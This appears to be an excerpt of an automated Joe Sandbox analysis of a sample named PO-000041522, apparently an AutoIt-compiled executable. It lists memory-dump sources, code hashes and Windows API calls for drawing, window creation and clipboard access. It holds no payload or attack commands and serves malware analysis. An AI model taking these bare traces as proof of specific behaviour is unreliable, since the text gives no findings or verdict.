                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ExceptionFilterUnhandled
                                                                                                • String ID:
                                                                                                • API String ID: 3192549508-0
                                                                                                • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                                • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                                • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                                • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                                                • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                                • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                • Instruction ID: 703581aaf11968c98412f9375c9e19f5df3a5b3eb2c5e1c1aa7590139903c08c
                                                                                                • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                • Instruction Fuzzy Hash: 3C41A171D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB90
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                • Instruction ID: 9c989853e2fa3bc185fc46576cef2235cf252a12d833ab058717933153df9c0b
                                                                                                • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                • Instruction Fuzzy Hash: 7C018479A11109EFCB44DF98C5909ADF7B6FF89210F608599D809A7701D730AE41DB80
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                • Instruction ID: 067b1b3f39106ab5e6bb3b8df9490f6660c124d1cfc082c190371cd69472dfbd
                                                                                                • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                • Instruction Fuzzy Hash: E7018078A01209EFCB84DF98C5909AEF7B6FF89210F248599D809A7701E730AE41DB80
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1271917961.0000000003F32000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F32000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_3f32000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                                                                • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                                                                APIs
                                                                                                • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                • DestroyWindow.USER32(?), ref: 00459407
                                                                                                • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                • _wcslen.LIBCMT ref: 00459800
                                                                                                • _wcscpy.LIBCMT ref: 0045981F
                                                                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                                • GetDC.USER32(?), ref: 004598DE
                                                                                                • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                • String ID: $AutoIt v3$DISPLAY$static
                                                                                                • API String ID: 4040870279-2373415609
                                                                                                • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                APIs
                                                                                                • GetSysColor.USER32(00000012), ref: 00441E64
                                                                                                • SetTextColor.GDI32(?,?), ref: 00441E6C
                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00441E83
                                                                                                • GetSysColor.USER32(0000000F), ref: 00441E8F
                                                                                                • SetBkColor.GDI32(?,?), ref: 00441EAA
                                                                                                • SelectObject.GDI32(?,?), ref: 00441EBA
                                                                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00441EF0
                                                                                                • GetSysColor.USER32(00000010), ref: 00441EF8
                                                                                                • CreateSolidBrush.GDI32(00000000), ref: 00441EFF
                                                                                                • FrameRect.USER32(?,?,00000000), ref: 00441F10
                                                                                                • DeleteObject.GDI32(?), ref: 00441F1B
                                                                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00441F75
                                                                                                • FillRect.USER32(?,?,?), ref: 00441FB6
                                                                                                  • Part of subcall function 00433D5C: GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                  • Part of subcall function 00433D5C: SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                  • Part of subcall function 00433D5C: GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                  • Part of subcall function 00433D5C: GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                  • Part of subcall function 00433D5C: GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                  • Part of subcall function 00433D5C: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                  • Part of subcall function 00433D5C: SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                  • Part of subcall function 00433D5C: SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                  • Part of subcall function 00433D5C: SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                  • Part of subcall function 00433D5C: InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                  • Part of subcall function 00433D5C: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                  • Part of subcall function 00433D5C: GetWindowLongW.USER32 ref: 00433E8A
                                                                                                  • Part of subcall function 00433D5C: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameLongMessageRoundSendSolidWindow
                                                                                                • String ID:
                                                                                                • API String ID: 69173610-0
                                                                                                • Opcode ID: bf8c2e800050c9d6caed3da64835628b81ca933589e1d7188009e0a97365b974
                                                                                                • Instruction ID: 0b0c06e318eae1aa70623bc76f746578ebcda4f465cb69034399d4c57c44293d
                                                                                                • Opcode Fuzzy Hash: bf8c2e800050c9d6caed3da64835628b81ca933589e1d7188009e0a97365b974
                                                                                                • Instruction Fuzzy Hash: BBB14D71508300AFD314DF64DD88A6FB7F8FB88720F504A2DF996922A0D774E845CB66
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsnicmp
                                                                                                • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                • API String ID: 1038674560-3360698832
                                                                                                • Opcode ID: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                • Opcode Fuzzy Hash: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                APIs
                                                                                                • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                • String ID:
                                                                                                • API String ID: 1582027408-0
                                                                                                • Opcode ID: 738fbb0e54594a09f33043b8a0cd52e8033a7ea3dbc637d46af7b29ff5520dbe
                                                                                                • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                • Opcode Fuzzy Hash: 738fbb0e54594a09f33043b8a0cd52e8033a7ea3dbc637d46af7b29ff5520dbe
                                                                                                • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                APIs
                                                                                                • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                • CloseClipboard.USER32 ref: 0046C65D
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                • CloseClipboard.USER32 ref: 0046C692
                                                                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                • CloseClipboard.USER32 ref: 0046C866
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                • String ID: HH
                                                                                                • API String ID: 589737431-2761332787
                                                                                                • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                APIs
                                                                                                • GetCursorPos.USER32(?), ref: 00456692
                                                                                                • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                • DestroyWindow.USER32(?), ref: 00456731
                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                • GetMonitorInfoW.USER32 ref: 00456894
